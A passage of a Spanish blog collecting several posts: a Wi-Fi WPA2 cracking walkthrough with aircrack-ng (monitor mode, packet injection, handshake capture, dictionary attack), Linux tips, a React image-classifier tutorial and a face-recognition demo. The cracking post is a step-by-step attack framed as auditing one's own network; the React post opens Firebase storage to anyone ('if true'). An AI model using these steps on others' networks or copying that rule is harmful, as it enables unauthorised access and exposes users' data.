Recuperación de contraseñas Wi-Fi con Raspbian Linux y Aircrack-ng

Si te preguntas como un intruso podría obtener la clave de tu red Wi-Fi y como puedes protegerte de ello … este post es para ti.

Aviso: Este es un artículo con fines de divulgación sobre seguridad online y auditorías internas. Las técnicas a describir pretenden mejorar nuestra defensa digital y NO deben utilizarse en redes donde NO tenemos permisos.

Estas técnicas son fácilmente aplicables en Linux, Windows y Mac. Hoy, nos basaremos en un sistema operativo Linux Raspbian. Lo más importante es disponer de una tarjeta Wi-Fi que permita habilitar el modo monitor. Ópcionalmente, puedes conectarte a tu dispositivo vía SSH, en este link lo explico.

El repositorio GitHub de este proyecto https://github.com/programandoconro/Passwords-Analysis-and-WiFi-Cracking

En un post anterior , generamos una lista de palabras, o diccionario, a partir de millones de contraseñas codificadas filtradas. Pondremos a prueba dicha lista para intentar crackear la constraseña de mi red Wi-Fi local.

Necesitaremos una antena o unidad de interface Wi-Fi que permita el modo monitor. Con esto, se logra monitorear el tráfico en la red e inyectar paquetes para la obtención de handshakes. Durante el proceso, y con algo de suerte, obtendremos la contraseña cifrada, la cual puede ser comparada con el diccionario.

Revisa:

sudo ifconfig wlan1 down

sudo iwconfig wlan1 mode monitor

iwconfig

Debería estar en Mode:Monitor. Veamos detalles de redes accesibles:

iwlist wlan0 scan

iwlist wlan0 scan | egrep "Cell|Address|ESSID|Signal|Rates"

Nos interesa sobre todo la BSSID (Mac Address) y ESSID (Nombre o ID). Para el caso de este estudio utilizaremos la Red Wi-Fi creada con el Hotspot de mi celular:

ESSID: RoWifi
BSSID: 00:14:6C:7E:40:80
Contraseña: "password"

Utilizaremos Aircrack-ng, programa para recuperar contraseñas con protocolos de seguridad WEP y WPA2-PSK.

apt-get install aircrack-ng

Test de inyección:

 aireplay-ng -9 wlan0
 aireplay-ng -9 -i wlan1 wlan0

Esto desconecta las conexiones al wifi, obligando a producir un handshake entre los dispositivos y el Router.

Ataque:

Para monitorear las conexiones accesibles:

airodump-ng wlan1

Encontramos la red que nos interesa y la atacamos.

aireplay-ng -9 -e RoWifi -a 00:14:6C:7E:40:80 wlan1

Con esto ya podemos intentar la captura de paquetes (IV), es importante ajustar el canal -c que hemos encontrado previamente.

airodump-ng -c 1 --bssid 00:14:6C:7E:40:80 -w output wlan1

Puedes hacer el intento y usar el Internet en alguno de tus dispositivos conectados a la red, veras el cambio en el número de paquetes intercambiados. Con esto se han generado una serie de archivos con el prefijo output. En el siguiente paso nos interesa utilizar el archivo output.cap.

aircrack-ng -b 00:14:6C:7E:40:80 output.cap

Opening output.cap capse wait…
Read 194360 packets.
1 potential targets

Es fundamental contar con el archivo .cap, una vez obtenido, podemos seguir a la siguiente fase en cualquier momento. En el mencionado proyecto ya aprendimos la importancia de la computación en paralelo y en este otro post lo aplicamos a la minería de criptomonedas con GPU.

aircrack-ng -b 00:14:6C:7E:40:80 output.cap -w mydiccionary.txt

Aircrack-ng 1.5.2

No hacen falta potentes computadoras para este ejercicio.
  [00:00:13] 375/375 keys tested (28.02 k/s) 

  Time left: 0 seconds                                     100.00%

                KEY FOUND! [ password ]


  Master Key     : 4F AR 2B F8 D5 84 6B 1R 76 41 29 88 EC 6F AB 92 
                   F5 AF 3A C9 CE F0 51 29 25 AB 86 24 FR 05 FB EA 

  Transient Key  : E0 7R 53 66 70 6F 28 AF 68 C3 A7 04 8D 39 D2 80 
                   8B DB A6 A4 93 57 89 06 8E C5 38 6C 87 A7 40 46 
                   F4 EF 60 27 E1 B0 0B 0A D9 BD A7 A5 60 17 D2 B6 
                   F9 8R 42 F8 63 67 47 18 79 BB 09 4B 86 BB AC BI 

  EAPOL HMAC     : FR 80 DD 40 24 1R 58 FE 32 E7 6B 8A AR 65 33 BA 

Si la contraseña se encuentra en la lista proporcionada, podremos descifrarla. Aircrack-ng también tienen opción de crackeo por fuerza bruta para constraseñas con protocolo de seguridad WEP, simplemente hay que agregar el parámetro -a 1 y no incluir el diccionario.

Conclusiones:

Es posible recuperar contraseñas de manera sencilla con Linux y Aircrack-ng. Recuerda NO hacerlo en redes inautorizadas. Obtener handshakes en redes wifi no es complicado, si la constraseña cifrada por WPA2-PSK es interceptada, puede ser crackeada por fuerza bruta o con un diccionario de contraseñas previamente preparado.

Para defendernos de atacantes que intenten penetrar nuestra red Wi-Fi, es importante contar con contraseñas largas y complejas, que conviertan el descifrado en una tarea demasiado difícil o imposible para el atacante.

La versatilidad móvil de la Raspberry, sobre todo del modelo Zero, hacen de este dispositivo una potente herramienta para auditoría de seguridad en compañías y redes locales.

Raspberry Pi Zero W en Modo Monitor Wi-Fi

La mejor defensa es un buen ataque

Sun Tzu

Recuerda echar un ojo al repositorio de este proyecto en GitHub https://github.com/programandoconro/Passwords-Analysis-and-WiFi-Cracking.

Si te ha gustado este post, visita mi página de Facebook, donde agrego material continuamente. Gracias por leer este artículo y hasta pronto.

10 trucos en Linux para programadores principiantes

En este post describiré algunos atajos y comandos útiles, que me hubiera gustado conocer cuando comencé con Linux. Estaré utilizando Fedora Red Hat como ejemplo, pero la mayoría de los tips aplican para todas las distribuciones. Vayamos a los trucos:

Asumiré que ya sabes copiar y pegar texto en la terminal (Ctrl-Shift-C y Ctrl-Shift-V) y que sabes que con la flecha hacia arriba se accede a los últimos registros del historial de comandos. También imagino que ya sabes limpiar la terminal con Ctrl-L (o clear). Por eso, no incluiré estos shortcuts en la numeración (¿o ya lo hice?).

Fedora 31 tiene las versiones más actuales de mis programas favoritos (yum install R). Además, incluye podman que sustituye a docker y una versión mejorada de redshift para la protección de los ojos al programar.

Ro

Ahora sí, a la lista …

1 . sudo !!

Si has escrito un comando que requería privilegios de administrador y obtienes el error respectivo, simplemente escribiendo sudo !! ejecutamos el mismo comando, esta vez con sudo incorporado al inicio automaticamente

2 . Ctrl-A

En caso de estar escribiendo un comando y recordar que requeríamos sudo, este shortcut te lleva al inicio de la línea. Con este simple atajo, no es necesario navegar con la flecha de dirección del teclado hasta el inicio de la línea, lo que mejora la productividad. Por cierto, Ctrl-E te lleva de vuelta al final de la línea.

3. su o sudo -i:

Si estamos realizando instalaciones largas, que requerirán privilegios de administrador en varias líneas de comando, podemos utilizar su o sudo -i para prescindir de escribir sudo y la contraseña tantas veces.

4 . man y/o --help:

Si un programa es nuevo para nosotros, utilizamos man o --help junto con nombre del programa. De esta manera podemos aprender las opciones y funcionalidades rápidamente. Este debería ser un paso fundamental si nos interesa usar cotidianamente un programa.

5. mv y cp para algo más que mover y copiar archivos:

Se puede renombrar un archivo moviéndolo a la misma carpeta con mv miarch1 miarch2 o hacer una copia del mismo pero con diferente nombre: cp miarch1 miarch2 .

6 . nano, vim y code básico:

Dicen que el mejor sistema de seguridad de una computadora es dejar a un novato dentro de Vim, creo que todos hemos pasado por allí :(. Hay que dar Esc y luego dos puntos (:) y q. Para salir y guardar :wq, así como Shift-I para insertar texto. Para En Nano, guardar y salir es tan simple como Ctrl-X seguido de y, mientras que si decimos n sales sin guardar.

Por otro lado, si necesitas artillería pesada, puedes instalar VisualStudio (code) con:

vim /etc/yum.repos.d/vscode.repo

# y agregamos: 
name=Visual Studio Code
baseurl=https://packages.microsoft.com/yumrepos/vscode
enabled=1
gpgcheck=1
gpgkey=https://packages.microsoft.com/keys/microsoft.asc

Seguido de:

sudo vim /etc/yum.repos.d/vscode.repo
sudo rpm --import https://packages.microsoft.com/keys/microsoft.asc
sudo dnf install code

7 .Git básico:

Imagino que ya sabes crear y clonar (git clone) repositorios online.

Un segundo paso sería saber hacer commit y push a tu repositorio en GitHub o GitLab:

git add .

git commit -m 'comentario'

git push origin master

Un tercer nivel sería crear nuevas ramas en tu repositorio con git checkout -b mirama y revisar en qué rama estás con git branch -a. Ahora podemos repetir el proceso anterior pero haciendo push a la nueva rama con git push origin mirama.

8 . Utilizar plugins para zsh y git. En https://github.com/ohmyzsh/ohmyzsh encontrarás las instrucciones para instalar diferentes estilos que harán de la terminal un sitio más divertido.

O este otro estilo, más vistoso.

Hay muchos otros estilos que, más que seguro te gustarán.

9 . Scripts en bash:

Escribir scripts con los comandos que utilicemos habitualmente. Por ejemplo, para instalar mis programas favoritos en Fedora:

nano favoriteSW.sh
#!bash
# programas base

dnf install git nano htop youtube-dl wget elinks curl \
python-pip  R macchanger nmap terminator transmission \
gimp okular vim -y

yum update -y
reboot
sudo bash scriptUpdate

10 . history:

Los comandos escritos quedan en memoria luego de finalizada cada sesión; es posible acceder a éstos mediante history. Aunque en algunos nos interesa limpiar el historial con history -c. Otro truco, si vamos a escribir alguna contraseña en texto dentro comando, usar un doble espacio evitará que se quede guardada en el historial.

Estos son mis 10 trucos para programadores principiantes en Linux, espero te hayan gustado. Si tienes algún otro truco importante que crees debí agregar, por favor déjamelo saber. Si quieres ver más comandos, revisa mi repositorio en GitHub: https://github.com/programandoconro

Gracias por leer este post y hasta pronto.

React App para clasificación de imágenes con Machine Learning

Para ver y utilizar la App dirígete a https://programandoconro.github.io/Image-Classification-ML-App/ o click en la imagen.

En este proyecto crearemos una App Web capáz de cargar imágenes e identificarlas con Machine Learning en nuestro browser. El repositorio de este proyecto está en mi GitHub acá.

Utilizaremos las librerías react y tensorflow para JavaScript, así como la Red Neuronal Artificial pre-entrenada mobilenet. Más información en el repositorio de los creadores de este algoritmo.

Como requisitos, necesitamos tener instalados node y su gestor de paquetes npm. Revisa mi repositorio para más comandos útiles para Apps conreact.

apt install npm nodejs -y
 npm install -g create-react-app

Creamos una App base con:

create-react-app imgclass
 cd imgclass

Instalamos Firebase como base de data en el backend para almacenar las imágenes que los usuarios suban. Seguido a esto instalamos las dependencias del algoritmo, por último, canvas para manejar el archivo de la imagen.

npm i firebase @tensorflow/tfjs-core 
npm i @tensorflow-models/mobilenet @tensorflow/tfjs-converter
npm i canvas
npm start

Editamos el archivo src/App.js, por ejemplo con Visual Studio u otro editor de tu preferencia.

code src/App.js
# o vim src/App.js

Un código básico a escribir en el archivo podría ser:


import React, { useState } from 'react';
import './App.css';
import photo from './assets/file.jpg'; // agrega una foto ejemplo
import { loadImage } from 'canvas';
import * as mobilenet from '@tensorflow-models/mobilenet';

const App = () => {

	const [res, handleRes] = useState([]);

	const myPhoto = () => {
		return <img src={photo} alt="foto "></img>;
	};

	const myPrediction = async () => {
		const loadModel = await mobilenet.load();
		const pic = await loadImage(photo);
		const pred = await loadModel.classify(pic);
		console.log(pred);
		handleRes(pred);
	};

	return (
		<div className="App">
			{myPhoto()}
			<button onClick={(e) => myPrediction(e)}>Predict</button>
			{res.map((e, k) => (
				<li key={k}>
					<h1>{e.className + ': ' + Math.round(e.probability * 100) + '%'}</h1>
				</li>
			))}
		</div>
	);
};

export default App;

Para complementar este código, necesitaremosFirebase. Es tan sencillo como crear una cuenta y nuevo proyecto en https://firebase.google.com/. Con esto obtendremos credenciales privadas, las cuales debes agregar a un archivo, por ejemplo, firebase.js, como se muestra a continuación:

import firebase from 'firebase/app';

const config = {
	apiKey: '',
	authDomain: '',
	databaseURL: '',
	projectId: '',
	storageBucket: '',
	messagingSenderId: '',
	appId: '',
	measurementId: ''
};

if (!firebase.apps.length) {
	firebase.initializeApp(config);
}

Deberemos cambiar nuestra reglas de seguridad para que cualquier usuario pueda subir y bajar las imágenes de la base de datos. Vamos a storage y Rules.

En la web de Firebase, cambiamos:

rules_version = '2';
service firebase.storage {
  match /b/{bucket}/o {
    match /{allPaths=**} {
      allow read, write: if request.auth != null;
    }
  }
}

A:

rules_version = '2';
service firebase.storage {
  match /b/{bucket}/o {
    match /{allPaths=**} {
      allow read, write: if true;
    }
  }
}

Ahora podemos añadir la funcionalidad clasificar imágenes en tiempo real en el browser.


import React, { useState } from 'react';
import './App.css';
import photo from './assets/cat.jpg'; //foto ejemplo
import { loadImage } from 'canvas';
import * as mobilenet from '@tensorflow-models/mobilenet';
import robot from './assets/robot.jpg'; //spinner de loading
import './firebase';
import { storage } from 'firebase';

const App = () => {
	const [example, handleExample] = useState([]);
	const [image, setImage] = useState([]);
	const [url, setURL] = useState('');
	const [predictions, handlePredictions] = useState([]);
	const [spinner, handleSpinner] = useState(true);

	const myPhoto = () => {
		return <img width="500" height="300" style={{ padding: '10px' }} id="img" src={photo} alt="foto "></img>;
	};
	const myExamplePrediction = async () => {
		const loadModel = await mobilenet.load();
		const pic = await loadImage(photo);
		const pred = await loadModel.classify(pic);

		console.log(pred);
		handleExample(pred);
	};

	const showSpinner = () => {
		if (url === '' && spinner === true) {
			setURL(robot);
			handleSpinner(false);
		} else {
			handleSpinner(true);
		}
	};

	const handleImage = async (e) => {
		setImage(e);
		await db.put(e);
		db.getDownloadURL().then((e) => setURL(e));
	};
	const db = storage().ref('/UserPics/' + Math.random());

	const realTimePrediction = async () => {
		const loadModel = await mobilenet.load();
		const img = document.getElementById('image');
		img.setAttribute('crossOrigin', '');
		console.log(img);
		await loadModel.classify(img).then(function(p) {
			console.log('Predictions: ', image, p);
			handlePredictions(p);
		});
		handleSpinner(true);
	};
	return (
		<div className="App">
			<h1>Machine Learning real time image classification </h1>

			<h5>Example: </h5>
			{myPhoto()}
			<button className="button" onClick={(e) => myExamplePrediction(e)}>
				Predict
			</button>
			{example.map((e, k) => (
				<span key={k}>
					<h5>{e.className + ': ' + Math.round(e.probability * 100) + '%'}</h5>
				</span>
			))}
			<br />
			<h2>Browse and Upload an image: </h2>

			<input
				className="button"
				type="file"
				onChange={(e) => handleImage(e.target.files[0])}
				onClick={(e) => {
					showSpinner();
					handleImage(e.target.files[0]);
				}}
			/>
			<button
				className="button"
				onClick={() => {
					realTimePrediction();
					showSpinner();
				}}
			>
				Classification:
			</button>
			<img id="image" src={url} alt="" height="300" width="500" crossOrigin="anonymous" />
			<h1>AI Classification:</h1>
			{predictions.map((e, k) => (
				<span key={k}>
					<h5>{e.className + ': ' + Math.round(e.probability * 100) + '%'}</h5>
				</span>
			))}
			<br />
		</div>
	);
};

export default App;

En fundamental agregar un archivo cors.json para evitar el error de origen cruzado crossorigin.

[
{
"origin": ["*"],
"method": ["GET"],
"maxAgeSeconds": 3600
}
]

Es momento de evaluar si el algoritmo ya puede clasificar las imágenes subidas por el usuario. Vamos a intentarlo …

Bueno, podemos ver que el algoritmo no entrenó con imágenes de Yoda. Sin embargo los resultados son interesantes, intentémos ahora con una imagen más fácil, un gato Simaés, por ejemplo.

El algoritmo ha clasificado al gato, incluso al punto de reconocer que es Siamés, ¡maravilloso!, recuerda que puedes encontrar el repositorio de este proyecto en mi GitHub y la App de prueba por acá.

Espero que este post te haya gustado, gracias por leerlo,

¡Feliz Año 2020!

Mis 99 comandos favoritos en GNU/Linux

Screenshot from 2019-09-30 20-48-01

Hace más de 4 años me fleché por GNU/Linux, los nombres Fedora y Ubuntu simplemente me cautivaron. La idea de una cantidad innumerable de aplicaciones gratuitas era demasiado atractiva. Desde ese día soy usuario diario; de hecho, mi ruta profesional marcó un giro brutal. Ahora comparto la filosofía de software libre. Pero dejemos los rodeos y vayamos al punto y coma:

1.su

Privilegios absolutos, control total del sistema. Debido a que «un gran superpoder conlleva una gran responsabilidad», el comando 2 es muy práctico.

2.sudo useradd nombreusuario

Podemos crear varios usuarios de esta manera. En caso de querer agregar usuarios al grupo de usuarios sudo (administradores), utilizamos el siguiente comando:

3.usermod -aG sudo nombreusuario

Para cambiar la contraseña del usuario utilizamos:

passwd

Realizados estos pasos básicos, es momento para actualizar el sistema. Dependiendo de la distribución, o más puntualmente, del gestor de paquetes (apt, yum, pacman), este comando puede variar. En sistemas Debian y derivados, apt es el gestor predeterminado.

5. sudo apt update
6. sudo apt upgrade
7. sudo apt autoremove

Estos tres comandos pueden ser ejecutados en conjunto, utlizando && entre ellos. Tambien se puede agregar -y para no tener que hacerlo durante el proceso. 

El comando 8 es mi favorito; nos permite instalar todo tipo de programas en Linux

8. sudo apt install nombreprograma

El siguiente comando quizás tendría que haber sido el primero, ya que nos permite crear un USB bootable con cualquier imagen de Linux. Lo que nos permitirá instalar y transportar Linux fácilmente. 

9. sudo dd bs=4M if=***.iso of=/dev/sdb status=progress

Ojo con el comando anterior, ya que hay que navegar a la carpeta donde se encuentra la imagen a quemar y conocer el sitio donde ha sido montado el USB

Para navegar a las carpetas utilizamos un formato tipo:

10. cd /carpeta/a/navegar

Si no sabemos los nombres de las carpetas disponibles, podemos usar la tecla TAB para arrojar las posibilidades. Para regresar a la carpeta anterior utilizamos:

11. cd ..

Si queremos saber dónde está un dispositivo USB, el disco duro y sus particiones:

12. sudo fdisk -l 

Con lo cual podemos montar la unidad que nos interese con:

13. sudo mount -rw /dev/sd* /carpeta

Para crear una carpeta nueva en nuestra ubicación:

14. sudo mkdir nombrecarpeta

Crear un archivo vacío:

15. touch nombrearchivo

Crear un archivo con un texto corto:

16. echo "Texto corto" > nombrearchivo

El signo > nos permite asignar un nombre al archivo, si utilizamos >> agregamos el texto sin reemplazar el archivo. 

Para echar un ojo a un archivo corto:

17. cat nombrearchivo

Con el editor nano podemos ver y editar archivos más grandes:

18. nano nombrearchivo

Utilizando Ctrl-X guardamos los cambios. 

Para copiar archivos de un sitio a otro:

19. cp carpeta/archivo  carpeta/

Si nos encontramos en la carpeta destino, podemos simplemente agregar un punto (.) y el archivo se creará en nuestra ubicación. Esta técnica puede usarse para renombrar archivos, por ejemplo:

20. cp archivo nuevoarchivo .

Para mover archivos seguimos el mismo razonamiento que al copiar. Mientras que si es una carpeta debemos agregar -r.

21. mv -r carpeta/ /carpeta/destino

Si agregamos asterisco (*) luego de carpeta, moveremos todos archivos pero no la carpeta como tal. 

Para eliminar archivos y carpetas:

22. rm nombrearchivo
23. rm -r /carpeta

Un comando que tendría que haber nombrado antes:

24. ls

Permite ver el contenido de la carpeta donde nos ubicamos. 

Uno que se le parece, y permite saber que tenemos conectado a los puertos USB:

25. lsusb

Hemos sobrepasado el primer cuarto de la lista; ahora las cosas empezarán a ponerse más interesantes. 

26. ss 

Simple pero hermoso, nos permite ver las conexiones de nuestro equipo, una herramienta defensiva importante a considerar. Puede ser acompañado de -l para listar los sockets que están escuchando. 

27. ss -l

Ya que nos hemos adentrado al networking, necesitamos nombrar a nmap. Estoy seguro que ya sabes cómo instalarlo. Este programa nos permite ver los puertos abiertos de una red, información importante para establecer comunicación entre computadoras. Para ver los puertos de la computadora que utilizamos:

28. nmap localhost

Para evaluar la red local entera:

29. nmap 192.168.1.1/24 

Si creemos que puede haber dispositivos que quieran escapar de nuestro mapeo podemos agregar -Pn para una búsqueda más exhaustiva, -p para decir el puerto de interés, e incluso -open para listar solamente los puertos abiertos. 

30. nmap -Pn 192.168.1.1/24 -p22 -open  

Si modificamos la IP por nuestra IP pública y nos conectamos desde una red externa, podremos auditar la seguridad de nuestra red. Es lo primero que haría alguien que intente penetrar ilegalmente en nuestra red. 

31. nmap -Pn **IP**/24 

Nota del autor: Debemos ser sumamente cautelosos y NO utilizar este comando con IPs públicas que NO se nos ha pedido auditar. 

El siguiente comando es otro de mis más queridos: 

32. ssh [email protected]
33. ssh-keygen
34. ssh-copy-id -i ~/.ssh/id_rsa.pub [email protected]

En un  tutorial previo comparto mis experiencias al conocer este gran programa. Se puede instalar como un servidor y acceder remotamente, lo que permite programar a distancia. Con la opción -X, incluso podemos usar la interfaz gráfica de usuario. 

Las Raspberry Pi  son una manera genial de entender la potencia de un servidor SSH; tendremos acceso entero a una computadora sin usar periféricos. En este otro post explico con más detalle. SSH puede también utilizarse con el usuario, dominio y puerto a conectar. Se puede compartir archivos entre computadoras fácilmente con:

35. scp nombrearchivo [email protected]:~

Hablemos de algunos comandos que nos permiten hacer minería de datos. Estos comandos son muy útiles cuando la data es muy grande y la memoria RAM impide que los utilicemos en Python, R o Matlab

36. wc -l nombrearchivo

El comando anterior nos permite ver el número de líneas o filas que tiene un archivo. Para acceder a las primeras y últimas filas:

37. head nombrearchivo
38. tail nombrearchivo

Podemos acompañar estos comandos con -100 para ver 100 filas, o el número que determinemos.

Si el archivo es demasiado grande, podemos separarlo en varias partes, por ejemplo, cinco:

39. split -n l/5 nombrearchivo x

Para seleccionar la quinta columna, utilizamos:

40. awk '{print $5}' nombrearchivo

También podemos separar en columnas en función de un caracter, por ejemplo, dos puntos (:)

41. cut -d ':' -f1 nombrearchivo 

Ahora, me gustaría nombrar algunos programas que permiten extraer data de la web. Primero, wget, para descargar archivos desde la terminal, por ejemplo, instalador de RStudio para Debian 10 y Ubuntu 19

42. wget https://download1.rstudio.org/desktop/bionic/amd64/rstudio-1.2.5001-amd64.deb

Pero no todo es programación; también necesitamos música para programar. Con youtube-dl bajamos nuestros vídeos favoritos para acceder a ellos sin conexión a internet. 

43. youtube-dl ***youtubelink***

Con el programa VLC, podemos escuchar y controlar la música desde la línea de comandos. 

44. cvlc **musica**

Con tanta música y vídeos, es importante ver el estado de almacenamiento de los discos: DF es la solución. 

45. df

Otra manera de intentar programas y código en línea es con GIT, el gestor de control de versiones más famoso. Para descargar un repositorio:

46. git clone https://github.com/progamandoconro/Docker

Para actualizar el repositorio local a partir de GitHub:

47. git pull origin master

Los commits y los push también pueden realizarse de esta manera o directamente en GitHub

48. git push -u origin master

Scripts de Bash, Python o R, pueden ejecutarse fácilmente desde la línea de comandos:

49. sudo bash archivo.sh
50. sudo python archivo.py
51. sudo Rscript archivo.R

Ya cerca de la mitad de este post, volvamos a algunos comando sencillos pero importantes que olvidé nombrar:

49. clear

Seguramente el comando más importante para quienes aman el orden y la pulcritud.

Los procesos del sistema pueden mostrarse con:

50. top
51. htop
52. ps -ef | less

El signo | nos permite concatenar comandos (pipes).

Si te molestan las cookies y la publicidad, o te obligan a loguearte para acceder a la información que deseas, puedes usar el programa ELinks, por ejemplo, para acceder a Medium sin usar Facebook ni Google:

53. elinks https://medium.com/learn-love-code/how-to-set-up-your-professional-data-science-environment-6df74eb06aa4

Muchas veces queremos controlar la accesibilidad de los archivos y carpetas de nuestro sistema, por ejemplo, dar todo tipo de acceso a un archivo:

54. sudo chmod a+rwx nombrearchivo

O para que sólo root pueda acceder a ellos:

55. sudo chmod 700 nombrearchivo

Ahora, es momento de agregar comandos Docker a mi lista. Docker permite ejecutar fácilmente y simultáneamente, gran cantidad de servicios y programas, sin preocuparnos de problemas de compatibilidad entre ellos. Además de ser una manera cómoda de compartir aplicaciones y realizar experimentación con aplicaciones en desarrollo. Para instalarlo, revisa mi git

56. docker run -it ubuntu

De esta manera, tenemos un contenedor virtual corriendo Ubuntu en menos de un minuto. 

57. docker ps -a
58. docker images

Podemos listar los servicios e imágenes que tenemos.

Creando un archivo llamado Dockerfile, podemos generar instrucciones personalizadas. Por ejemplo, este Dockerfile para instalar librerías Machine Learning en R y Python sobre un sistema Debian. Para crear la imagen:

59. docker build .   

Podemos agregar -t seguido de un nombre para guardar nuestra imagen. 

Con Docker-Compose, podemos hacer instalaciones más complejas, como de WordPress, en cuestión de minutos también. Ver el archivo docker-compose-yml para tal fin. 

60.docker-compose -f docker-compose.yml up

También podemos instalar Apache con php en segundos, ver link

Tor, para navegar de manera anónima. Simplemente descárgalo (https://www.torproject.org/dist/torbrowser/8.5.4/tor-browser-linux64-8.5.4_en-US.tar.xz) y

61. tar -xvJf tor-browser-linux64-8.5.4_en-US.tar.xz

tar nos ha descomprimido el archivo; ahora ejecuta en la carpeta donde se encuentre Tor:

62. ./tor-browser_en-US/Browser/start-tor-browser &

Sea lo que sea que hayamos hecho en Tor, si el ocio ataca, es momento para juegos en la terminal:

63. apt-get install bastet moon-buggy ninvaders nsnake pacman4console -y

Con Neofetch podemos ver detalles de nuestro sistema de manera divertida. 

64. neofetch

screenshot-from-2019-09-30-20-48-01.png

65. figlet HOLA AMIGO 

Screenshot from 2019-09-30 20-54-30

66. unzip archivo.zip

El comando de arriba habla por sí mismo.

67. dpkg -i archivo.deb && apt install -f

Este comando facilita la instalación de aplicaciones .deb. También es posible usar GDebi

Los siguientes comandos utilizan systemctl para controlar servicios del sistema.

68. systemctl enable nombreservicio
69. systemctl start nombreservicio
70. systemctl stop nombreservicio
71. systemctl disable nombreservicio

En este punto, me gustaría nombrar a mi tercer favorito: 

72. ifconfig
73. ip address

Sin estos comandos la vida sería más dificil; no sé cómo he tardado tanto en nombrarlos.

74. kill idproceso
75. userdel nombreusuario

Con top ubicamos el proceso. Userdel permite eliminar usuario de un grupo, por ejemplo, del grupo sudo

Para ver características del sistema:

76. lshw
77. lscpu

Si abrimos nuestro servidor al internet, es muy útil tener la capacidad de bloquear IPs que deseen entrar sin nuestro consentimiento. 

78. iptables -A INPUT -s $IPbloquear -j DROP

Si tienes microprocesadores como el ESP32 o Arduino conectado a tu USB por conexión serial, ubicarlo es sencillo con:

79. dmesg | grep ttyUSB

Una vez hecho esto, podemos usar rshell y repl para acceder a el. 

80. rshell -p /dev/ttyUSB* && repl

Para interactuar con el dispositivo, podemos usar:

81. ampy --port /dev/ttyUSB** ls
82. ampy --port /dev/ttyUSB** put archivo
83. ampy --port /dev/ttyUSB** run archivo
84. ampy --port /dev/ttyUSB** rm archivo

Para saber el nombre del host.

85. hostname

Para cambiar el nombre de la computadora:

86. hostnamectl set-hostname nuevonombre

Para listar los archivos que tengan un patrón, por ejemplo, que terminen en .iso. 

87. ls | grep *.iso

Para saber el número de archivos en una carpeta:

88. ls | wc -l

Desde que conocí Docker, ya no utilizo Anaconda. Sin embargo, es una manera práctica de gestionar ambientes de trabajo en R y Python. Para instalar Anaconda te dejo un post previo. Varios comandos son muy útiles:

89. conda create -n my_env python=3.7 anaconda
90. conda create -n r_env r-essentials r-base

Creados estos dos ambientes, podemos activar alguno con:

91. conda activate r_env

Y ver las sesiones creadas con:

92. conda info --envs

Para instalar módulos de Python, por ejemplo, face_recognition, utilizamos conda o pip:

93. conda install face_recognition
94. pip install face_recognition

Puedes revisar un post previo sobre reconocimiento facial en Linux

Algunos módulos requieren de python 3 para funcionar y su instalación se realiza mediante pip3, por ejemplo, el famoso módulo Pyspark.

95. pip3 install --user pyspark

El próximo comando te hará sentir en la matrix

96. cmatrix

screenshot-from-2019-10-01-01-15-01.png

Ha sido un viaje interesante tratar de representar los 99 comandos que más me gusta utilizar en Linux. Para terminar, unos sencillos pero fundamentales.

97. reboot
98. shutdown -h +30
99. poweroff -f

Corresponden a: reiniciar, apagar en 30 minutos y apagar inmediatamente.

El comando 100 lo dejo a tu recomendación. ¿Cuál me faltó? 

Espero que este post haya sido de tu agrado. Muchas gracias por leerlo. ¡Hasta pronto! 

 

 

Reconocimiento de rostros de actores utilizando Deep Learning con Software libre

En este estudio se utilizó aprendizaje profundo, o Deep Learning, para identificar el rostro de un sujeto, entre 7000 imágenes de personas no etiquetadas. Las imágenes fueron obtenidas gracias a:

H.-W. Ng, S. Winkler: «A Data-driven approach to cleaning large face datasets.» In Proc. IEEE International Conference on Image Processing (ICIP), Paris, France, Oct. 27-30, 2014. http://vintage.winklerbros.net/facescrub.html.

Se trabajó con Python y Debian 9, empleando el módulo face_recognition (creado a partir de dlib). Python es un lenguaje de programación utilizado en todo tipo de campos, incluso en la reciente foto a un agujero negro. En un tutorial previo, explico cómo instalar todo el software libre necesario para este estudio.

Evaluemos si el algoritmo es capaz de reconocer el rostro de Woody Allen entre varias fotos. Por ejemplo, contra una imagen de Al Pacino y una foto de Woody desconocida para el algoritmo.

#Python
from PIL import Image
image = Image.open('alpacino.jpg')    print(image.size)                                                             image.show()
Ejemplo: Al Pacino
#python 3.7
import face_recognition

#cargamos las imágenes
woody = face_recognition.load_image_file("woody_allen.jpg")
al_pacino = face_recognition.load_image_file("alpacino.jpg")
woody2= face_recognition.load_image_file("woody_allen2.jpg")

# obtenemos una lista de 128 dimensiones con los rostros codificados 
woody_encoding = face_recognition.face_encodings(woody)[0]
al_pacino_encoding = face_recognition.face_encodings(al_pacino)[0]

#Comparamos ambos rostros codificados
results1 = face_recognition.compare_faces([woody_encoding], al_pacino_encoding)
results1
#[FALSE]

El algoritmo ha logrado identificar que la persona de la foto no es Woody Allen. Evaluamos una nueva foto del verdadero Woody.

Woody Allen
new_woody_encoding = face_recognition.face_encodings(woody2)[0]
results2 = face_recognition.compare_faces([woody_encoding], woody2_encoding)
results2
#[TRUE]

El algorimo ha identificado correctamente entre el rostro de Woody Allen en una foto sin etiquetar. Impresionante. Ver documentación del módulo en https://pypi.org/project/face_recognition/.

Obteniendo 7000 imágenes de rostros

Para obtener las imágenes de actores famosos, creamos y abrimos un ambiente Python 2.7 que llamaremos «snakes». Para descargar las imágenes, se utiliza el script download.py, disponible en el siguiente git.

conda create --name snakes python=2.7 & conda activate snakes

python download.py

pip install opencv-python para instalar un módulo requerido, no incluido en la configuración inicial.

Colocamos los archivos en una carpeta de trabajo y viajamos a su localización con cd /*dirección. El script crea una carpeta en la dirección de trabajo, donde descargan más de 12 GB de imágenes. El proceso puede tardar varias horas dependiendo de la conexión.

Veamos qué tal le va al algoritmo identificando 196 fotos de Woody Allen entre el set de 7276 que hemos obtenido. Estas imágenes están ordenadas en carpetas con el nombre del actor o actriz. Para los fines prácticos de este estudio, movemos todas las imágenes a un carpeta. Ahora tenemos un set de fotos sin etiquetar.

#bash
face_recognition ./etiquetadas/ ./sin_etiquetar/ > Buscando_a_Woody_Allen.txt

Si tu procesador tiene varios núcleos, puedes acelerar el proceso utilizando cómputo en paralelo. Por ejemplo, para ocho núcleos.

face_recognition --cpus 8 ~/Downloads/etiquetadas/ ~/Downloads/sin_etiquetar/ > Buscando_a_Woody.txt

Despues de 15 minutos, el algoritmo fue 100% exacto en encotrar a Allen dentro del set de rostros en la base de imágenes, utilizando tan solo una foto como referencia.

Sin embargo, podríamos pensar que los anteojos del comediante son muy característicos, repitamos el procedimiento, esta vez con Al Pacino como sujeto target.

face_recognition --cpus 8 ~/Downloads/etiquetadas/ ~/Downloads/sin_etiquetar/ > Buscando_a_Al_Pacino.txt 

